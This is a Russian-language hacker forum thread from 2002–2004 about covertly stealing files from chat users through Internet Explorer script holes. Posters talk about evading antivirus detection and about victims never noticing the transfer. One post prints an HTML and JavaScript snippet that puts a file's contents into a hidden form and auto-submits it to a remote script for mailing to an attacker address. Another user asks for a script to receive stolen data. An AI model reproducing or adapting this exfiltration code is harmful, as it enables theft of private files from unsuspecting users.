ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Чаты
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 01.11.2002, 13:15
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

to decadancer
Антивир не юзаю по причине резкого сижения быстродействия при его использовании. А кроме того небольшая модификация скрипта - и каспер уже не ругается (это я про demo5)...
Насчет объема пердаваемых данных: Ну представь себе , сидит непродвинутый юзер в чате.... Он шо, видит что там качается ?? Он разве может оценить объем передаваемых данных ?? Ведь у него голяк, никаких naviscope и никаких A4 нету.... А сидит он в чате долго...за это время мноога чего интресного можна утырить....
А с виндой у тя вроде все ок...

to Dj Skeleton™
Wingate тож не поможет...
Правда я однажды видел что некий промежуточный файрвол завернул пакет.... Но это исключение... Файрвол видно дюже умный был...на лету анализировал содержимое скриптов....
 
Ответить с цитированием

  #12  
Старый 01.11.2002, 23:26
Аватар для decadancer
decadancer
Познающий
Регистрация: 30.05.2002
Сообщений: 37
Провел на форуме:
5004

Репутация: 13
По умолчанию

аха, я потом сам додумал: распознать объём нереально, если где-то долго сидишь, ведь и качается через тот же самый порт, порт браузера.. если б другой какой - тогда уж можно было заподозрить, шо это за соединение...
вот это трава некошенная для действий
реально одна из самых серьёзных штук.
ну не считая всяких других непропатченых (и пропатченых ) дыр у IE, как я недавно прочёл, аж прозрел: про встроенную в эксплоэр радио-систему, о которой мы все знаем, и заместо которой можно запустить чё угодно своё,..типа когда урл с музычкой не найден, остаётся кусок кода, который запускается.. например, format/ - тьху-3 р. ))
И последний монстр-патч в 1.5 мегабайта ни фига не памагает....

а за винду - эт ты меня обнадежил ).. очинь надеюсь, шо у тя не хватит времени и желания когда-нить меня разочаровать в обратном

всем - приятного пива..тьху ты.. выходных тоисть трезвых..)
 
Ответить с цитированием

  #13  
Старый 01.11.2002, 23:55
Аватар для mifan
mifan
Познающий
Регистрация: 27.05.2002
Сообщений: 80
Провел на форуме:
0

Репутация: 28
Отправить сообщение для mifan с помощью ICQ
По умолчанию

мораль - юзайте оперу
 
Ответить с цитированием

  #14  
Старый 02.11.2002, 00:29
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

кхм кхм... мне промолчать про оперу иль шо нить сказать ??
 
Ответить с цитированием

  #15  
Старый 05.11.2002, 01:59
Аватар для 50r
50r
Новичок
Регистрация: 17.10.2002
Сообщений: 8
Провел на форуме:
0

Репутация: 1
По умолчанию

У меня вопрос(ы) Конкретно по 8-ой демке...
Вот XP ее действительно не пропустило )) ну да ладно.. поверим Алголу, что в 98 все ок (93%)
Вот ты еще пишешь - "Прочитанное содержимое файла может быть без труда отправлено на другой сервер" а каким образом? а на мыло может быть отправлено?
 
Ответить с цитированием

  #16  
Старый 05.11.2002, 13:09
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Хм... очень просто может быть отправлено... Через форму. Например вот так:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>HTML </td></tr><tr><td id="CODE"><span style='color:#333333'>
&lt;<span style='color:blue'>form</span> action=&quot;<span style='colorrange'>http://antichat.ru/cgi-bin/send.pl</span>&quot; method=&quot;<span style='colorrange'>post</span>&quot; id=&quot;<span style='colorrange'>sendForm</span>&quot;&gt;
&lt;<span style='color:blue'>input</span> name=&quot;<span style='colorrange'>to</span>&quot; type=&quot;<span style='colorrange'>hidden</span>&quot; value=&quot;<span style='colorrange'>hack@hack.ru</span>&quot;&gt;
&lt;<span style='color:blue'>textarea</span> id=&quot;<span style='colorrange'>textfile</span>&quot; name=&quot;<span style='colorrange'>textfile</span>&quot;&gt;&lt;/<span style='color:blue'>textarea</span>&gt;
&lt;/<span style='color:blue'>form</span>&gt;

#60;script&gt;
//запихиваем содержимое файла Text в поле формы
textfile.value:=Text;
//отправляем форму скрипту send.pl, который затем отсылает на почту hack@hack.ru
sendForm.submit();
&lt;/<span style='color:blue'>script</span>&gt;
</span>[/QUOTE]<span id='postcolor'>
 
Ответить с цитированием

  #17  
Старый 08.01.2004, 06:04
Аватар для
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию

Замыльте, плиз, исходник send.pl или какой-нибудь другой скрипт для отправления данных из формы на емайл. есть ли такое на javascript, без перла/пхп? естественно без использования &quot;mailto:&quot;.

intruder666coбакаfromru.com &lt;- скрипт или ссылку на него

Заранее спасибо!
 
Ответить с цитированием

  #18  
Старый 08.01.2004, 12:41
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Guest @ января 08 2004,05:04)</td></tr><tr><td id="QUOTE">скрипт для отправления данных из формы на емайл. есть ли такое на javascript, без перла/пхп? естественно без использования &quot;mailto:&quot;.[/QUOTE]<span id='postcolor'>
Нет такого... Для того что бы послать мыло, нужен почтовый клиент, кторый работает по SMTP. А браузер по этому протоколу не работает, значит обязательно нужна внешняя программа (на перле, пхп и т.п.)
 
Ответить с цитированием

  #19  
Старый 11.01.2004, 15:43
Аватар для Че Гевара
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

В других браузерах это не пройдет... Там актив икс вообще отсутствует...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ